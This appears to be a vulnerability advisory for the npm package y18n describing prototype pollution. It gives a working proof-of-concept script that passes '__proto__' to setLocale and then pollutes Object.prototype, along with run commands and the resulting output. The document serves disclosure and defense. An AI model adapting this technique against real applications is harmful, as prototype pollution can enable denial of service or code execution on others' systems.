y18n
is vulnerable to Prototype Pollution
.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
// poc.js
const y18n = require('y18n')();
var obj = {}
console.log("Before : " + obj.polluted);
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);
npm i y18n # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted